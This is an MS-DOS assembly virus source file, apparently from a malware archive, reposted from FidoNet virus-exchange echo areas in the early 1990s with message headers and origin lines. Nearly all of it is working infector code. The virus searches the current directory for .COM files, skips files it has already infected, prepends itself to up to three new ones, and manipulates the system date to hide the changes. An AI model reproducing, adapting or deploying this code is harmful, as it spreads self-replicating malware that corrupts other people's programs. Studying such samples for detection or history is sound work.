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MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.vir12.asm

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2021-01-13 00:04:54 +00:00
;<3B> PVT.VIRII (2:465/65.4) <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> PVT.VIRII <20>
; Msg : 2 of 54
; From : MeteO 2:5030/136 Tue 09 Nov 93 09:10
;To : - *.* - Fri 11 Nov 94 08:10
; Subj : BLJEC_8A.ASM
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;.RealName: Max Ivanov
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;* Kicked-up by MeteO (2:5030/136)
;* Area : VIRUS (Int: <20><><EFBFBD><EFBFBD>p<EFBFBD><70><EFBFBD><EFBFBD><EFBFBD> <20> <20><>p<EFBFBD><70><EFBFBD><EFBFBD>)
;* From : Bryan Sullivan, 2:283/718 (06 Nov 94 16:16)
;* To : Brad Frazee
;* Subj : BLJEC_8A.ASM
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;@RFC-Path:
;ddt.demos.su!f400.n5020!f3.n5026!f2.n51!f550.n281!f512.n283!f35.n283!f7.n283!f7
;18.n283!not-for-mail
;@RFC-Return-Receipt-To: Bryan.Sullivan@f718.n283.z2.fidonet.org
.model tiny
.code
org 100h
kkk:
nop ; ID
count db 90h ; ID
mov cx,80h
mov si,0080h
mov di,0ff7fh
rep movsb ; save param
lea ax,begp ; begin prog
mov cx,ax
sub ax,100h
mov ds:[0fah],ax ; len VIR
add cx,fso
mov ds:[0f8h],cx ; begin buffer W
ADD CX,AX
mov ds:[0f6h],cx ; begin buffer R
mov cx,ax
lea si,kkk
mov di,ds:[0f8h]
RB: REP MOVSB ; move v
mov al,3 ; inf. only 3 file
mov count,al
mov ah,2ah
int 21h
mov ds:[0f2h],dx ;
mov ds:[0f4h],cx ; save system date
stc
LEA DX,FFF
MOV AH,4EH
MOV CX,20H
INT 21H ; find first
or ax,ax
jz LLL
jmp done
LLL:
MOV AH,2FH
INT 21H ; get DTA
mov ax,es:[bx+1ah]
mov ds:[0fch],ax ; size
add bx,1eh
mov ds:[0feh],bx ; point to name
mov ax,'OC' ; "CO"
sub ax,ds:[009eh]
jne cont0 ; if file name CO*.com then skip
jmp fin
cont0:
add ax,180h ; if new len file + len VIR + 180h > FFF0
add ax,ds:[0fah] ; then skip this file
add ax,fso
cmp ax,0fff0h
jna cont2
jmp fin
cont2:
mov cx,ds:[98h]
and cx,001fh
mov dl,cl
mov ax,ds:[98h]
and ax,01e0h
mov cl,5
sar ax,cl
mov dh,al
mov ax,ds:[98h]
and ax,0fe00h
mov cl,9
sar ax,cl
mov cx,ax
add cx,1980
mov ah,2bh
int 21h ; set system time
clc
mov ax,3d02h
mov dx,bx
int 21h ; open file
mov bx,ax
mov ah,3fh
mov cx,ds:[0fch]
mov dx,ds:[0f6h]
int 21h ; read file
mov bx,dx
mov ax,[bx]
sub ax,9090h
jz fin ; if file inf. then skip this file
mov al,'M'
mov di,dx
mov cx,ds:[0fch]
repne scasb
jne cont
mov al,'Z'
cmp es:[di],al
je fin ; if converted then skip
cont:
MOV AX,ds:[0fch]
mov bx,ds:[0f6h]
mov [bx-2],ax ; correct old len
mov ah,3ch
mov cx,00h
mov dx,ds:[0feh] ; point to name
clc
int 21h ; create file
mov bx,ax ; #
mov ah,40h
mov cx,ds:[0fch]
add cx,ds:[0fah]
mov DX,ds:[0f8h]
int 21h ; write file
mov ah,3eh
int 21h ;close file
dec count
jz done
FIN:
stc
mov ah,4fh
int 21h ; find next
or ax,ax
jnz done
JMP lll
DONE:
mov dx,ds:[0f2h]
mov cx,ds:[0f4h]
mov ah,2bh
int 21h
mov cx,80h
mov si,0ff7fh
mov di,0080h
rep movsb ; restore param
MOV AX,0A4F3H
mov ds:[0fff9h],ax
mov al,0eah
mov ds:[0fffbh],al
mov ax,100h
mov ds:[0fffch],ax ; remove REP MOVSB and FAR JMP cs:0100
lea si,begp
lea di,kkk
mov ax,cs
mov ds:[0fffeh],ax
mov kk,ax
mov cx,fso
db 0eah
dw 0fff9h
kk dw 0000h
fff db '*?.com',0
fso dw 0005h ; source len file
begp:
MOV AX,4C00H
int 21h ; exit
end kkk
;
;-+- FMail 0.96<EFBFBD>
; + Origin: The PRO-Point on a PRO-BBS and a PRO-*.* ...Ciaro?... (2:283/718)
;=============================================================================
;
;Yoo-hooo-oo, -!
;
;
; <20> The Me<4D>eO
;
;/e Ignore Extended Dictionary
;
;--- Aidstest Null: /Kill
; * Origin: <20>PVT.ViRII<49>main<69>board<72> / Virus Research labs. (2:5030/136)
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